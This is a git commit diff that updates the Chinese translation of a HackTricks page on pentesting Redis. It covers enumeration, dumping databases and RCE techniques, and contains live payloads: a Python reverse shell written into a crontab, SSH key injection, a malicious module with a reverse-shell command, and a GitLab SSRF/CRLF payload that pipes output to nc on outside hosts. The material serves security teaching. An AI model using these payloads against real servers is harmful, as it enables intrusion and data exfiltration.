mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/network-services-pentesting/6379-pentesting-redis.md']
This commit is contained in:
		
							parent
							
								
									059cbf37e1
								
							
						
					
					
						commit
						09e0d1dd79
					
				@ -6,7 +6,7 @@
 | 
			
		||||
 | 
			
		||||
来自 [the docs](https://redis.io/topics/introduction): Redis 是一个开源(BSD 许可),内存中的 **数据结构存储**,用作 **数据库**、缓存和消息代理。
 | 
			
		||||
 | 
			
		||||
默认情况下,Redis 使用基于纯文本的协议,但您必须记住它也可以实现 **ssl/tls**。了解如何 [运行带有 ssl/tls 的 Redis 在这里](https://fossies.org/linux/redis/TLS.md)。
 | 
			
		||||
默认情况下,Redis 使用基于纯文本的协议,但您必须记住它也可以实现 **ssl/tls**。了解如何 [run Redis with ssl/tls here](https://fossies.org/linux/redis/TLS.md)。
 | 
			
		||||
 | 
			
		||||
**默认端口:** 6379
 | 
			
		||||
```
 | 
			
		||||
@ -26,12 +26,12 @@ msf> use auxiliary/scanner/redis/redis_server
 | 
			
		||||
 | 
			
		||||
Redis 是一个 **基于文本的协议**,你可以直接 **在套接字中发送命令**,返回的值将是可读的。还要记住,Redis 可以使用 **ssl/tls** 运行(但这很奇怪)。
 | 
			
		||||
 | 
			
		||||
在一个常规的 Redis 实例中,你可以直接使用 `nc` 连接,或者你也可以使用 `redis-cli`:
 | 
			
		||||
在常规的 Redis 实例中,你可以使用 `nc` 直接连接,或者你也可以使用 `redis-cli`:
 | 
			
		||||
```bash
 | 
			
		||||
nc -vn 10.10.10.10 6379
 | 
			
		||||
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
 | 
			
		||||
```
 | 
			
		||||
您可以尝试的**第一个命令**是**`info`**。它**可能返回包含**Redis 实例信息的输出**或返回类似以下内容:
 | 
			
		||||
您可以尝试的**第一个命令**是**`info`**。它**可能返回包含**Redis实例**信息的输出**,**或者返回类似以下内容**:
 | 
			
		||||
```
 | 
			
		||||
-NOAUTH Authentication required.
 | 
			
		||||
```
 | 
			
		||||
@ -45,18 +45,18 @@ redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
 | 
			
		||||
 | 
			
		||||
> [!NOTE]
 | 
			
		||||
> 如果仅配置了密码,则使用的用户名是 "**default**"。\
 | 
			
		||||
> 此外,请注意 **没有办法从外部发现** Redis 是否仅配置了密码或用户名+密码。
 | 
			
		||||
> 此外,请注意 **无法从外部找到** Redis 是否仅配置了密码或用户名 + 密码。
 | 
			
		||||
 | 
			
		||||
在这种情况下,您将 **需要找到有效的凭据** 来与 Redis 交互,因此您可以尝试 [**暴力破解**](../generic-hacking/brute-force.md#redis)。\
 | 
			
		||||
**如果您找到了有效的凭据,您需要在建立连接后使用以下命令进行会话认证**:
 | 
			
		||||
```bash
 | 
			
		||||
AUTH <username> <password>
 | 
			
		||||
```
 | 
			
		||||
**有效凭据** 将会返回: `+OK`
 | 
			
		||||
**有效凭据**将会返回: `+OK`
 | 
			
		||||
 | 
			
		||||
### **认证枚举**
 | 
			
		||||
 | 
			
		||||
如果 Redis 服务器允许 **匿名连接** 或者您已获得有效凭据,您可以使用以下 **命令** 启动服务的枚举过程:
 | 
			
		||||
如果 Redis 服务器允许 **匿名连接** 或者您已获得有效凭据,您可以使用以下 **命令** 启动服务的枚举过程:
 | 
			
		||||
```bash
 | 
			
		||||
INFO
 | 
			
		||||
[ ... Redis response with info ... ]
 | 
			
		||||
@ -67,7 +67,7 @@ CONFIG GET *
 | 
			
		||||
```
 | 
			
		||||
**其他 Redis 命令** [**可以在这里找到**](https://redis.io/topics/data-types-intro) **和** [**这里**](https://lzone.de/cheat-sheet/Redis)**.**
 | 
			
		||||
 | 
			
		||||
请注意,**实例的 Redis 命令可以在 _redis.conf_ 文件中重命名** 或删除。例如,这一行将删除命令 FLUSHDB:
 | 
			
		||||
请注意,**实例的 Redis 命令可以在 _redis.conf_ 文件中重命名**或删除。例如,这一行将删除命令 FLUSHDB:
 | 
			
		||||
```
 | 
			
		||||
rename-command FLUSHDB ""
 | 
			
		||||
```
 | 
			
		||||
@ -79,15 +79,15 @@ rename-command FLUSHDB ""
 | 
			
		||||
 | 
			
		||||
### **转储数据库**
 | 
			
		||||
 | 
			
		||||
在Redis中,**数据库是从0开始的数字**。您可以通过命令`info`的输出中的“Keyspace”部分查看是否有人在使用:
 | 
			
		||||
在Redis中,**数据库是从0开始的数字**。您可以在命令`info`的输出中找到是否有人在“Keyspace”块中使用:
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
或者您可以通过以下命令获取所有**键空间**(数据库):
 | 
			
		||||
或者您可以通过以下方式获取所有**键空间**(数据库):
 | 
			
		||||
```
 | 
			
		||||
INFO keyspace
 | 
			
		||||
```
 | 
			
		||||
在这个例子中,**数据库 0 和 1** 正在被使用。**数据库 0 包含 4 个键,而数据库 1 包含 1 个**。默认情况下,Redis 将使用数据库 0。为了导出例如数据库 1,您需要执行:
 | 
			
		||||
在这个例子中,**数据库 0 和 1** 正在被使用。**数据库 0 包含 4 个键,而数据库 1 包含 1 个键**。默认情况下,Redis 将使用数据库 0。为了导出例如数据库 1,您需要执行:
 | 
			
		||||
```bash
 | 
			
		||||
SELECT 1
 | 
			
		||||
[ ... Indicate the database ... ]
 | 
			
		||||
@ -110,7 +110,7 @@ HGET <KEY> <FIELD>
 | 
			
		||||
# If the type used is weird you can always do:
 | 
			
		||||
DUMP <key>
 | 
			
		||||
```
 | 
			
		||||
**使用 npm 导出数据库**[ **redis-dump**](https://www.npmjs.com/package/redis-dump) **或 python** [**redis-utils**](https://pypi.org/project/redis-utils/)
 | 
			
		||||
**使用 npm 转储数据库**[ **redis-dump**](https://www.npmjs.com/package/redis-dump) **或 python** [**redis-utils**](https://pypi.org/project/redis-utils/)
 | 
			
		||||
 | 
			
		||||
## Redis RCE
 | 
			
		||||
 | 
			
		||||
@ -155,13 +155,13 @@ sh.stderr.pipe(client);
 | 
			
		||||
)()}}
 | 
			
		||||
```
 | 
			
		||||
> [!WARNING]
 | 
			
		||||
> 请注意,**多个模板引擎会在** **内存**中缓存模板,因此即使您覆盖它们,新的模板也**不会被执行**。在这种情况下,开发人员要么保持自动重载处于活动状态,要么您需要对服务进行DoS攻击(并期望它会自动重新启动)。
 | 
			
		||||
> 请注意,**多个模板引擎会在** **内存**中缓存模板,因此即使您覆盖它们,新的模板也**不会被执行**。在这种情况下,开发者要么保持了自动重载的状态,要么您需要对服务进行DoS攻击(并期望它会自动重新启动)。
 | 
			
		||||
 | 
			
		||||
### SSH
 | 
			
		||||
 | 
			
		||||
示例 [来自这里](https://blog.adithyanak.com/oscp-preparation-guide/enumeration)
 | 
			
		||||
 | 
			
		||||
请注意,**`config get dir`** 的结果在其他手动利用命令后可能会改变。建议在登录Redis后立即运行它。在**`config get dir`** 的输出中,您可以找到**redis用户**的**主目录**(通常是 _/var/lib/redis_ 或 _/home/redis/.ssh_),知道这一点后,您就知道可以在哪里写入 `authenticated_users` 文件以通过ssh **以redis用户身份**访问。如果您知道其他有效用户的主目录并且您有可写权限,您也可以利用它:
 | 
			
		||||
请注意,**`config get dir`** 的结果可能会在其他手动利用命令后发生变化。建议在登录Redis后立即运行它。在**`config get dir`** 的输出中,您可以找到**redis用户**的**主目录**(通常是 _/var/lib/redis_ 或 _/home/redis/.ssh_),知道这一点后,您就知道可以在哪里写入 `authenticated_users` 文件以通过ssh **以redis用户身份**访问。如果您知道其他有效用户的主目录并且您有可写权限,您也可以利用它:
 | 
			
		||||
 | 
			
		||||
1. 在您的电脑上生成一个ssh公私钥对:**`ssh-keygen -t rsa`**
 | 
			
		||||
2. 将公钥写入文件:**`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
 | 
			
		||||
@ -182,6 +182,8 @@ OK
 | 
			
		||||
 | 
			
		||||
**此技术在这里自动化:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
 | 
			
		||||
 | 
			
		||||
此外,系统用户也可以通过检查 `config set dir /home/USER` 来发现,并在确认后,可以将新的 `authorized_keys` 写入 `/home/USER/.ssh/authorized_keys`。使用 [redis-rce-ssh](https://github.com/captain-woof/redis-rce-ssh) 通过用户名字典进行暴力破解并覆盖 `authorized_keys`。
 | 
			
		||||
 | 
			
		||||
### Crontab
 | 
			
		||||
```
 | 
			
		||||
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
 | 
			
		||||
@ -193,7 +195,7 @@ OK
 | 
			
		||||
root@Urahara:~# redis-cli -h 10.85.0.52 save
 | 
			
		||||
OK
 | 
			
		||||
```
 | 
			
		||||
最后一个示例适用于 Ubuntu,对于 **Centos**,上述命令应为:`redis-cli -h 10.85.0.52 config set dir /var/spool/cron/`
 | 
			
		||||
最后一个示例适用于 Ubuntu,对于 **Centos**,上述命令应为: `redis-cli -h 10.85.0.52 config set dir /var/spool/cron/`
 | 
			
		||||
 | 
			
		||||
此方法也可以用来赚取比特币 :[yam](https://www.v2ex.com/t/286981#reply14)
 | 
			
		||||
 | 
			
		||||
@ -202,7 +204,7 @@ OK
 | 
			
		||||
1. 按照 [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) 的说明,您可以 **编译一个 redis 模块以执行任意命令**。
 | 
			
		||||
2. 然后您需要某种方式 **上传编译好的** 模块
 | 
			
		||||
3. **在运行时加载上传的模块**,使用 `MODULE LOAD /path/to/mymodule.so`
 | 
			
		||||
4. **列出已加载的模块** 以检查是否正确加载:`MODULE LIST`
 | 
			
		||||
4. **列出已加载的模块** 以检查它是否正确加载: `MODULE LIST`
 | 
			
		||||
5. **执行** **命令**:
 | 
			
		||||
 | 
			
		||||
```
 | 
			
		||||
@ -213,19 +215,19 @@ OK
 | 
			
		||||
127.0.0.1:6379> system.rev 127.0.0.1 9999
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
6. 随时卸载模块:`MODULE UNLOAD mymodule`
 | 
			
		||||
6. 随时卸载模块: `MODULE UNLOAD mymodule`
 | 
			
		||||
 | 
			
		||||
### LUA 沙箱绕过
 | 
			
		||||
 | 
			
		||||
[**这里**](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html) 您可以看到 Redis 使用命令 **EVAL** 来执行 **Lua 代码沙箱**。在链接的帖子中,您可以看到 **如何滥用它** 使用 **dofile** 函数,但 [显然](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) 这不再可能。无论如何,如果您可以 **绕过 Lua** 沙箱,您可以 **在系统上执行任意** 命令。此外,从同一帖子中,您可以看到一些 **导致 DoS 的选项**。
 | 
			
		||||
[**这里**](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html) 您可以看到 Redis 使用命令 **EVAL** 来执行 **沙箱中的 Lua 代码**。在链接的帖子中,您可以看到 **如何滥用它** 使用 **dofile** 函数,但 [显然](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) 这不再可能。无论如何,如果您可以 **绕过 Lua** 沙箱,您可以 **在系统上执行任意** 命令。此外,从同一帖子中,您可以看到一些 **导致 DoS 的选项**。
 | 
			
		||||
 | 
			
		||||
一些 **CVEs 用于逃离 LUA**:
 | 
			
		||||
一些 **CVE 用于逃离 LUA**:
 | 
			
		||||
 | 
			
		||||
- [https://github.com/aodsec/CVE-2022-0543](https://github.com/aodsec/CVE-2022-0543)
 | 
			
		||||
 | 
			
		||||
### 主从模块
 | 
			
		||||
 | 
			
		||||
主 Redis 所有操作会自动同步到从 Redis,这意味着我们可以将漏洞 Redis 视为从 Redis,连接到我们自己控制的主 Redis,然后我们可以向自己的 Redis 输入命令。
 | 
			
		||||
主 Redis 所有操作会自动同步到从 Redis,这意味着我们可以将漏洞 Redis 视为从 Redis,连接到我们自己控制的主 Redis,然后我们可以向我们自己的 Redis 输入命令。
 | 
			
		||||
```
 | 
			
		||||
master redis : 10.85.0.51 (Hacker's Server)
 | 
			
		||||
slave  redis : 10.85.0.52 (Target Vulnerability Server)
 | 
			
		||||
@ -249,11 +251,11 @@ set mykey2 helloworld
 | 
			
		||||
-ERR unknown command 'Cache-Control:'
 | 
			
		||||
-ERR unknown command 'Connection:'
 | 
			
		||||
```
 | 
			
		||||
因此,如果您在网站中发现了一个 **SSRF vuln** 并且可以 **控制** 一些 **headers**(可能通过 CRLF vuln)或 **POST 参数**,您将能够向 Redis 发送任意命令。
 | 
			
		||||
因此,如果您在网站中发现了一个 **SSRF vuln**,并且您可以 **控制** 一些 **headers**(可能通过 CRLF vuln)或 **POST 参数**,您将能够向 Redis 发送任意命令。
 | 
			
		||||
 | 
			
		||||
### 示例:Gitlab SSRF + CRLF 到 Shell
 | 
			
		||||
 | 
			
		||||
在 **Gitlab11.4.7** 中发现了一个 **SSRF** 漏洞和一个 **CRLF**。该 **SSRF** 漏洞存在于 **从 URL 导入项目功能** 中,在创建新项目时允许以 \[0:0:0:0:0:ffff:127.0.0.1] 的形式访问任意 IP(这将访问 127.0.0.1),而 **CRLF** 漏洞则通过 **向 URL 添加 %0D%0A** 字符来利用。
 | 
			
		||||
在 **Gitlab11.4.7** 中发现了一个 **SSRF** 漏洞和一个 **CRLF**。该 **SSRF** 漏洞存在于 **从 URL 导入项目功能** 中,在创建新项目时允许以 \[0:0:0:0:0:ffff:127.0.0.1] 的形式访问任意 IP(这将访问 127.0.0.1),而 **CRLF** 漏洞则是通过向 **URL** 添加 **%0D%0A** 字符来利用的。
 | 
			
		||||
 | 
			
		||||
因此,可以 **利用这些漏洞与管理来自 gitlab 的队列的 Redis 实例进行通信**,并利用这些队列 **获得代码执行**。Redis 队列滥用有效载荷是:
 | 
			
		||||
```
 | 
			
		||||
@ -262,10 +264,10 @@ sadd resque:gitlab:queues system_hook_push
 | 
			
		||||
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
 | 
			
		||||
exec
 | 
			
		||||
```
 | 
			
		||||
并且 **URL encode** 请求 **滥用 SSRF** 和 **CRLF** 来执行 `whoami` 并通过 `nc` 发送回输出的命令是:
 | 
			
		||||
并且 **URL 编码** 请求 **滥用 SSRF** 和 **CRLF** 来执行 `whoami` 并通过 `nc` 发送回输出的内容是:
 | 
			
		||||
```
 | 
			
		||||
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
 | 
			
		||||
```
 | 
			
		||||
_出于某种原因(如来自_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _的作者所述),利用在`git`方案下有效,而在`http`方案下无效。_
 | 
			
		||||
_出于某种原因(正如_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _中作者所述)_,_利用在 `git` 方案下有效,而不是在 `http` 方案下。_
 | 
			
		||||
 | 
			
		||||
{{#include ../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user